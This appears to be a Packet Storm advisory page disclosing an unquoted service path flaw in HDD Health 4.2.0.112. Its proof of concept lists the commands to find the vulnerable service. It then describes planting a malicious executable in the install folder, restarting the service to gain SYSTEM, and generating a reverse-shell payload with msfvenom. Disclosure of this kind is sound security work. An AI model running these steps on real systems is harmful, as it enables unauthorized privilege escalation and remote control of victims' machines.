what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HDD Health 4.2.0.112 Unquoted Service Path

HDD Health 4.2.0.112 Unquoted Service Path
Posted Mar 28, 2023
Authored by Jorge Manuel Lozano Gomez

HDD Health version 4.2.0.112 suffers from an unquoted service path vulnerability.

tags | exploit
SHA-256 | 8393ec9706e83a38f5916ad915dd9562d1746a32ea7f14558160f4963089113e

HDD Health 4.2.0.112 Unquoted Service Path

Change Mirror Download
# Exploit Title: HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path
# Exploit Author: Jorge Manuel Lozano Gómez
# Date: 2022-10-19
# Vendor Homepage: https://www.panterasoft.com
# Software Link: https://hdd-health.softonic.com
# Version : 4.2.0.112
# Tested on: Windows 11 64bit
# CVE : N/A


About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

Description:
==============================
HDD Health installs a service with an unquoted service path.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.

# PoC
===========

1. Open CMD and check for the vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
2. The vulnerable service would show up.
3. Check the service permissions by typing [ sc qc "HDDHealth" ]
4. The command would return..

C:\>sc qc "HDDHealth"
[SC] QueryServiceConfig SUCCESS


SERVICE_NAME: HDDHealth
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\HDD Health\HDDHealthService.exe
LOAD_ORDER_GROUP :
TAG : 0
ISPLAY_NAME : HDDHealth
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


5. This concludes that the service is running as SYSTEM.
6. Now create a payload with msfvenom or other tools and name it to HDDHealthService.exe.
7. Make sure you have write permissions to "C:\Program Files (x86)\HDD Health" directory.
8. Provided that you have right permissions, drop the HDDHealthService.exe executable you created into the "C:\Program Files (x86)\HDD Health" directory.
9. Start a listener.
9. Now restart the HDDHealth service by giving coommand [ sc stop HDDHealth ] followed by [ sc start HDDHealth ]
9.1 If you cannot stop and start the service, since the service is of type "AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ] and get the shell when the service starts automatically.
10. Got shell.


During my testing :

Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o HDDHealthService.exe


# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close